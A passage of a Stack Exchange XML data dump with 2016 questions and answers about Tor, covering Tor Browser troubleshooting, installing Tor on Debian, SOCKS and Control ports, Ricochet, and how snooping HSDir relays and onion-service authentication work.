OpenVPN.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is you already know that Tor is slow and when it is used with &lt;strong&gt;pluggable transport&lt;/strong&gt; like obfsproxy or meek it becomes slower. Now openVPN developers also want us to use this then don't you think by adding a obfsproxy server, VPN will become slower as Tor? How is it a far better option?Is there any security reason they refused to add this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full article source can be read &lt;a href=&quot;https://tunnelblick.net/cOpenvpn_xorpatch.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14395" LastActivityDate="2016-10-13T12:49:21.623" Title="Why openVPN doesn't implement Tunnelblick's xor patch to hide openVPN traffic from DPI?" Tags="|obfsproxy|openvpn|" AnswerCount="1" CommentCount="4" ClosedDate="2016-10-16T23:48:28.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="12906" PostTypeId="2" ParentId="12903" CreationDate="2016-10-13T12:49:21.623" Score="0" Body="&lt;p&gt;The answer is in your question: it's a &lt;em&gt;patch&lt;/em&gt;. Every good and popular Open-Source program has at least some &lt;em&gt;really good&lt;/em&gt; patches, and they are not a-must-adopt ones. Just use them if &lt;strong&gt;you&lt;/strong&gt; wish. For example - I have my own patch set for Tor, and I'm not thinking that when it will be released to public it will be adopted by the original Tor team. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-13T12:49:21.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12907" PostTypeId="1" CreationDate="2016-10-13T16:47:17.017" Score="0" ViewCount="4531" Body="&lt;p&gt;Why Tor is not running anymore on Windows XP?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;torbrowser-install-6.0.5_en-US.exe&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In previous version after 10-20 restarting browser was loaded, but now it is not loading. No appear this screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5BkA2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5BkA2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After press tor button &lt;a href=&quot;https://i.stack.imgur.com/4WetC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4WetC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; appears only Firefox without tor button, tor button cannot be enabled from settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eBxrz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eBxrz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only tor browser starts after first installiation or reinstallation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Which command is sending after first instalattion to start Tor Browser to get this?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0Gt7X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Gt7X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;how to run Tor Browser on Windows Xp? To get this&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G2bsq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G2bsq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After moving Tor folder to new location directly to c:\ i have error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lwpcy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lwpcy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On pressing &quot;restart tor&quot; shortly appears Tor status windows and gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also 0 logs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rbjXW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rbjXW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After closing this windows appears&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0G5n0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0G5n0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Torrc file contents&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LearnCircuitBuildTimeout 0&#xA;CircuitBuildTimeout 1&#xA;DataDirectory &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor&quot;&#xA;GeoIPFile &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&quot;&#xA;GeoIPv6File &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&quot;&#xA;HiddenServiceStatistics 0&#xA;MaxCircuitDirtiness 10&#xA;NewCircuitPeriod 1&#xA;StrictNodes 1&#xA;Log debug file &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor\debug.Log&quot;&#xA;Log &quot;C:\Tor Browser\Browser\TorBrowser\Data\Tor\debug.Log&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14701" LastEditorUserId="14701" LastEditDate="2016-10-19T18:03:53.477" LastActivityDate="2017-03-18T20:15:10.580" Title="Tor on windows Xp not work" Tags="|tor-browser-bundle|configuration|windows|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12909" PostTypeId="1" CreationDate="2016-10-13T17:45:05.307" Score="1" ViewCount="429" Body="&lt;p&gt;My Tor Browser doesnt load some objects after an update about one month ago. The objects contain mostly images and videos. I would like to know if I am the only one whos experiencing this and if it can be fixed without loosing security during web browsing. If you need an example website I'll add it.&#xA;Before the update:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/me3Zt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/me3Zt.png&quot; alt=&quot;the black box with the webadress is there&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And after the Update:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/McsWb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/McsWb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend not to visit this website because I dont know if the site is illigeal. (I got these pictures from the web, cause they show my problem quite well)&lt;/p&gt;&#xA;" OwnerUserId="14703" LastEditorUserId="14703" LastEditDate="2016-10-15T15:16:32.890" LastActivityDate="2016-10-15T15:16:32.890" Title="Tor Browser doesnt load some objects after update" Tags="|update|blocked|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12911" PostTypeId="2" ParentId="12892" CreationDate="2016-10-14T01:53:38.610" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I get the distinct feeling that Tor uses the same identity/circuit from day to day.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't, it will use a new circuit for every &quot;session&quot;. You can also use Tor Button's &lt;code&gt;New Identity&lt;/code&gt; feature which will force all newly created circuits to be previously unused ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are keeping Tor Browser open and running then you will be trackable from day-to-day and between visits, this is because it is data associated with the state of the browser that is trackable, it is not related to Tor's circuit choice (which will be different after 10 minutes of no new connections being made to the site in question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should consider a &quot;session&quot; as a period of time between when Tor Browser was last started or the last time that New Identity was used until it is closed or the next New Identity is issued. During any sessions the site you are visiting will be able to link your session together regardless of the circuit you're using or how long the session is, this is intended functionality of web browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note also that Alexey's suggestion of &quot;ExcludeNodes&quot; will &lt;a href=&quot;https://github.com/epidemics-scepticism/tor-misconception#reduced-circuit-paths&quot; rel=&quot;nofollow&quot;&gt;both diminish your anonymity set and make you more trackable&lt;/a&gt; while also failing to stop the site from actually tracking you since the tracking is, as mention, unrelated to Tor's circuit choice. His suggestion is dangerous (and I increasingly believe, potentially malicious) and should not be attempted.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-14T01:53:38.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12912" PostTypeId="1" CreationDate="2016-10-14T06:45:28.327" Score="2" ViewCount="728" Body="&lt;p&gt;I installed Orbot for android on a Nexus 6p device, it works fine on first launch, but when I tried to &quot;exit&quot;, it kept launching in the background, going to the app again, the UI was toggling fast between active and inactive (yellow and black).&lt;br&gt;&#xA;Is Orbot not yet supported on Nougat devices, or is it a configuration issue ?&lt;/p&gt;&#xA;" OwnerUserId="14706" LastActivityDate="2017-02-19T04:03:10.833" Title="Orbot Tor on android nougat issues" Tags="|configuration|orbot|android|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12913" PostTypeId="2" ParentId="12893" CreationDate="2016-10-14T14:27:05.970" Score="1" Body="&lt;p&gt;&lt;em&gt;Original poster here, having lost access to the previous account (stop sniggerring please!). Unfortunately under the new account I am unable to add comments nor edit the question, hence making this an &quot;answer&quot;, which it is not. Please Moderators help if you can !&lt;/em&gt;  S-o-rr-y !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Canonicizing ironize : « was writing a big post deconstructing this but honestly it's not worth the time: It's snake oil»&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a broad statement you are making without substantiation, while it seems to be a principle of Stackexchange that answers should be articulated somewhat. Saying &quot;it's snake oil&quot; is not an answer in that sense. Could you enumerate and discuss the specific vulnerabilities you have in mind against the stated use case, specifying your attack model and whether each attack is concerned with the anonymity of end points and/or privacy of the correspondance ?&lt;/p&gt;&#xA;" OwnerUserId="14708" LastActivityDate="2016-10-14T14:27:05.970" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12914" PostTypeId="2" ParentId="8960" CreationDate="2016-10-14T22:52:42.063" Score="1" Body="&lt;p&gt;On Linux based systems only root can bind ports between 0 and 1024. Thatswhy the operating system forbids you to use port 53 in this case. Here is a nice answer which explains this fact for a webserver: &lt;a href=&quot;https://askubuntu.com/a/338239/236&quot;&gt;https://askubuntu.com/a/338239/236&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ubuntu you might be better off to install Tor as a system daemon and make your changes. With this approach it is possible to set &lt;code&gt;DNSPort 53&lt;/code&gt; without any problems.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-14T22:52:42.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12915" PostTypeId="1" CreationDate="2016-10-15T13:14:12.563" Score="1" ViewCount="123" Body="&lt;p&gt;I'm dyslexic and I frequently use TTS for reading long emails or pages with long threads/posts (Like this one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last night I finally upgraded to El Capitan (10.11.6). Ever since then, when I use Tor, it reads the ENTIRE webpage (telling me where there are buttons, etc), rather than just the text I select.  This renders TTS completely useless in Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: TTS works as it should in FireFox and in Safari.  (I haven't tested opera or chrome, because I don't have them).  It's only in Tor that it seems to have borked since my upgrade.  And it did work properly in Mavericks (10.9.5)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I've found at this point is to install a 'reader' addon, select the text I want TTS to read and then activate TTS.  But that's a lot of steps and doesn't always work well.  (IE: If I activate the reader for the whole page, TTS still sees and reads the linked buttons for some reason.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to return the native functionality for TTS to Tor in OSX 10.11? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume it has something to do with Apple changing how TTS works from a copy/paste to whatever they now use, but I don't know for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love Tor and use it constantly, but this change is making it difficult to use on my most frequented sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced!&lt;/p&gt;&#xA;" OwnerUserId="14714" LastActivityDate="2016-10-15T13:14:12.563" Title="Text To Speech after El Capitan Upgrade" Tags="|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12916" PostTypeId="1" CreationDate="2016-10-15T16:18:03.230" Score="1" ViewCount="6509" Body="&lt;p&gt;I'm trying to install tor on Debian but I have a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg: warning : nothing exported&#xA;gpg: no valid OpenPGP data found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;message&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes I did this first&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver keys.gnupg.net --recv      A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12625" LastEditorUserId="12625" LastEditDate="2016-10-15T17:49:13.230" LastActivityDate="2018-12-06T02:00:55.117" Title="Problem with tor and gpg key" Tags="|tor-install|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="12918" PostTypeId="2" ParentId="12596" CreationDate="2016-10-15T18:56:49.230" Score="0" Body="&lt;p&gt;Yes, you can make a drop-in replacement of the binary files, as far as I know Tor is just bundled into the Ricochet, it's not patched and/or tailored in source to fit the needs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Take a look at it's &lt;a href=&quot;https://github.com/ricochet-im/ricochet&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt; - there's no shipped or included tor binary. There's only a messenger itself&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-10-17T20:06:28.410" LastActivityDate="2016-10-17T20:06:28.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12921" PostTypeId="1" AcceptedAnswerId="12925" CreationDate="2016-10-16T10:59:29.217" Score="0" ViewCount="3464" Body="&lt;p&gt;I want to connect to the Tor network using firefox, I installed tor via apt and it's running on port 9001, so I set mozzila proxy settings for http on 127.0.0.1:9001 but I cannot get the connexion &quot;because of proxy settings&quot;, &#xA;I tried the same settings with socks4/5 (really no idea what this is) and also the option &quot;remote dns&quot; but nothing will do. What is going on ? &lt;/p&gt;&#xA;" OwnerUserId="11910" LastActivityDate="2016-10-16T18:34:04.390" Title="firefox proxy settings" Tags="|proxy|torify|" AnswerCount="1" CommentCount="0" ClosedDate="2016-10-16T23:46:17.343" ContentLicense="CC BY-SA 3.0" />
  <row Id="12922" PostTypeId="1" CreationDate="2016-10-16T13:29:55.830" Score="0" ViewCount="134" Body="&lt;p&gt;I tried the add-on named &quot;Unplug&quot;, it works fine. But is it safe to use the &quot;Unplug&quot; add-on within Tor to catch streaming ?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14722" LastActivityDate="2016-10-16T18:33:04.343" Title="Addon/plugin &quot;Unplug&quot;, is it safe?" Tags="|security|add-on|" AnswerCount="1" CommentCount="0" ClosedDate="2016-10-16T23:48:58.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="12923" PostTypeId="2" ParentId="12619" CreationDate="2016-10-16T18:31:20.880" Score="0" Body="&lt;p&gt;You can't do it &lt;em&gt;directly&lt;/em&gt;, but the exact functionality you want to achieve is just a Python or shell script: using ControlPort and Tor control protocol. You can set desired ExitNodes value from your script running on cron or in a daemon mode. But remember - changes are for a single tor launch session only, i.e. config file is not overwritten automatically every time. And - if you will restart Tor - you will need to re-configure it via ControlPort again. So use either a shellscript(I suggest two, actually: to reconfigure and to forcible reconfigure in case of tor restart detected) or a Python daemon.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-16T18:31:20.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12924" PostTypeId="2" ParentId="12922" CreationDate="2016-10-16T18:33:04.343" Score="0" Body="&lt;p&gt;any new addons are &lt;em&gt;potentially&lt;/em&gt; detectable, so it &lt;em&gt;potentially&lt;/em&gt; makes your fingerprint more specific. The safety of using an add-on is &lt;strong&gt;totally and only&lt;/strong&gt; depends on the safety/leak-free specs of the particular add-on.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-16T18:33:04.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12925" PostTypeId="2" ParentId="12921" CreationDate="2016-10-16T18:34:04.390" Score="1" Body="&lt;p&gt;Tor's default SOCKS port is 9050 as far as I remember, so try to use it &lt;strong&gt;With&lt;/strong&gt; remote DNS option.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-16T18:34:04.390" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12926" PostTypeId="2" ParentId="12627" CreationDate="2016-10-16T20:27:48.880" Score="1" Body="&lt;p&gt;SocksPort is for accepting SOCKS connections from tor clients(=applications that will be &quot;torified&quot;), ControlPort is for communicating with tor controllers, i.e. applications that are interacting and possibly modifying tor's configuration(like &quot;running config&quot; on Cisco)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-16T20:27:48.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12927" PostTypeId="2" ParentId="12627" CreationDate="2016-10-16T23:45:36.193" Score="1" Body="&lt;p&gt;The &lt;code&gt;SOCKSPort&lt;/code&gt; is for talking to other applications. Tor runs as a SOCKS proxy and other applications (like a web browser, another proxy etc.) could connect to it. The manpage writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;SOCKSPort&lt;/strong&gt; [address:]port|unix:path|auto [flags] [isolation flags]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Open this port to listen for connections from SOCKS-speaking applications.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ControlPort&lt;/code&gt; is for connecting with the Tor process and sending it commands. You can use the &lt;code&gt;ControlPort&lt;/code&gt; for changing the configuration, getting information about the network, Tor circuits etc. The manpage writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;ControlPort&lt;/strong&gt; PORT|unix:path|auto [flags]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If set, Tor will accept connections on this port and&#xA;           allow those connections to control the Tor process using&#xA;           the Tor Control Protocol (described in&#xA;           control-spec.txt).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So your Ruby software should talk to port &lt;code&gt;50001&lt;/code&gt;, the &lt;code&gt;SOCKSPort&lt;/code&gt;. However you wrote about HTTP requests. Please make sure that your Ruby software will issue SOCKS requests or you might run into other problems. Depending on the kind of requests it might be a good idea to use some other HTTP proxy (like Privoxy) between your Ruby software and Tor. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-16T23:45:36.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12929" PostTypeId="1" AcceptedAnswerId="12931" CreationDate="2016-10-17T21:12:21.737" Score="0" ViewCount="210" Body="&lt;p&gt;URLS for news&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.zdnet.com/article/over-100-spying-malicious-tor-nodes-discovered/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.scmagazineuk.com/security-researchers-discover-over-100-suspicious-tor-nodes-snooping-on-traffic/article/512260/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.linuxsecurity.com/content/view/168299/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or search google for &quot;tor nodes snooping&quot;&lt;/p&gt;&#xA;" OwnerUserId="14739" LastActivityDate="2016-10-18T00:18:47.693" Title="What do you make of the news that researchers had found at least 110 Tor nodes that were spying in on network traffic or were honeypots?" Tags="|anonymity|deanonymization|guard-node|bittorrent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12930" PostTypeId="2" ParentId="12596" CreationDate="2016-10-17T23:08:03.507" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://consensus-health.torproject.org/#recommendedversions&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of recommended versions&lt;/a&gt; contains 0.2.7.6, so it is not officially outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use a newer version of Tor with Ricochet, just copy or link the Tor binary to the directory where Ricochet lives and start the software. Below you see a screenshot of Ricochet's settings which tells you that it runs with Tor version 0.2.8.8. I used the method above to get a newer version of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3cvrV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3cvrV.png&quot; alt=&quot;version 0.2.8.8 of Tor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-17T23:08:03.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12931" PostTypeId="2" ParentId="12929" CreationDate="2016-10-17T23:26:50.103" Score="1" Body="&lt;p&gt;What the &lt;em&gt;researchers&lt;/em&gt; were doing was creating &quot;honeypots&quot;, the relays weren't &quot;honeypots&quot;. The &lt;a href=&quot;http://donncha.is/2013/05/trawling-tor-hidden-services/&quot; rel=&quot;nofollow&quot;&gt;snooping HSDir&lt;/a&gt; is something that's &lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-need-some-love&quot; rel=&quot;nofollow&quot;&gt;long been acknowledged&lt;/a&gt; as a weakness in the current rendezvous protocol. Most of these relays have likely been ejected from the consensus but as &lt;a href=&quot;https://blog.torproject.org/blog/new-research-northeastern-university&quot; rel=&quot;nofollow&quot;&gt;arma stated&lt;/a&gt; the methods that the &lt;code&gt;bad-relays&lt;/code&gt; hunters currently employ aren't always perfect, and it's good to have other researchers working towards the same goal through different means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea works like this, onion services use HSDirs to publish their descriptors. A naughty HSDir can see these descriptors as they are published, and operators can use this to index onion services even if the onion address is never made public. Essentially, if you publish an onion service then any HSDir that you publish to can try to connect to the onion service as a normal user, since they know the address from the descriptor you gave them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://blog.torproject.org/blog/mission-montreal-building-next-generation-onion-services&quot; rel=&quot;nofollow&quot;&gt;next-gen onion services&lt;/a&gt; will attempt to stop this kind of activity by HSDirs being possible by &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt?id=6d968a1507ae074ab17f914522f25b68138efd42#n953&quot; rel=&quot;nofollow&quot;&gt;encrypting the descriptors contents&lt;/a&gt; with information that a user who knows the onion address would know but the HSDir does not, through &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt?id=6d968a1507ae074ab17f914522f25b68138efd42#n1719&quot; rel=&quot;nofollow&quot;&gt;keyblinding&lt;/a&gt;. This will defeat such attempts to discover in-use onion addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also currently possible to encrypt the onion service descriptor with a secret that is shared out-of-band through the use of &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HiddenServiceAuthorizeClient&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;HiddenServiceAuth&lt;/code&gt;&lt;/a&gt; in &lt;code&gt;stealth&lt;/code&gt; mode on the onion service and &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HidServAuth&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;HidServAuth&lt;/code&gt;&lt;/a&gt; on the client. This would mean a snooping HSDir would be unable to decrypt the descriptors contents and discover the introduction points used by the onion service or the public keys that it should use to signal to them that it would like to rendezvous with the onion service. A lesser &lt;code&gt;basic&lt;/code&gt; mode is also available that would stop them successfully completing a connection but would allow them to discover the introduction points, because it does not encrypt the descriptor it just requires that the client proves knowledge of the shared secret before it will allow a user to connect.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-10-18T00:18:47.693" LastActivityDate="2016-10-18T00:18:47.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12933" PostTypeId="2" ParentId="12394" CreationDate="2016-10-18T11:28:37.957" Score="0" Body="&lt;p&gt;I've been having a very pleasing experience with Onionmail &lt;a href=&quot;http://en.onionmail.info/what.html&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;.&#xA;It can provide both anonymity and confidentiality in an auditable way, &#xA;provided you use PGP or some other form of end-to-end encryption in addition, as hinted by &lt;em&gt;Canonizing ironize&lt;/em&gt; in comment, above.&lt;/p&gt;&#xA;" OwnerUserId="14708" LastActivityDate="2016-10-18T11:28:37.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12934" PostTypeId="1" AcceptedAnswerId="13042" CreationDate="2016-10-18T11:43:06.993" Score="1" ViewCount="1442" Body="&lt;p&gt;I always used to be able to move the Tor Browser Window around the screen to place it wherever I wanted, just like any other open window. I have suddenly found that no matter what I do, it will not move anywhere, it's just stuck in the middle of the screen. I can resize the window from the corners as normal, but I often need to move the browser to the edge of the screen. Any ideas why this happened and how I can make the window move-able again?&#xA;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running Mac OS Sierra 10.12&#xA;Tried the usual turning everything off and on again etc&#xA;Searched through settings/preferences but cant seem to find any option that could have made the browser window just stuck there&lt;/p&gt;&#xA;" OwnerUserId="14742" LastActivityDate="2016-11-12T23:00:03.853" Title="I can no longer move the Tor Browser window around the screen (Mac)" Tags="|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12936" PostTypeId="1" CreationDate="2016-10-18T16:51:08.127" Score="1" ViewCount="608" Body="&lt;p&gt;I have an old model of android device (not smart&quot;phone&quot;) and I've used orbot and orfox app to browse through deepweb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One day I found out that my orbot app is outdated as I was warned by a deepweb site that said my orbot was an old version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to update orbot on playstore, but I couldn't since my device was too old to be supported (It is Gingerbread and no updated is released).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can browse almost every deepweb sites, and the torcheck.org says that i've connected to tor though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it that dangerous to use the outdated orbot app?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest version that supports mine is v14.1.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14746" LastActivityDate="2018-10-13T21:21:12.753" Title="Is the old version of orbot dangerous?" Tags="|orbot|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12937" PostTypeId="1" CreationDate="2016-10-18T17:17:30.513" Score="1" ViewCount="768" Body="&lt;p&gt;while browsing a website using tor i got the error as shown in image.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tXCnO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tXCnO.png&quot; alt=&quot;tor error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was shocked because error shows my name and path in my system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the above error something to be worried about or is it just a client side error which does not compromise my identity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iam using tor-browser bundle on windows 10 pc downloaded from &lt;a href=&quot;https://www.torproject.org/download/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a mozilla firefox bug reported 1 year ago &lt;a href=&quot;https://support.mozilla.org/en-US/questions/1079546&quot; rel=&quot;nofollow 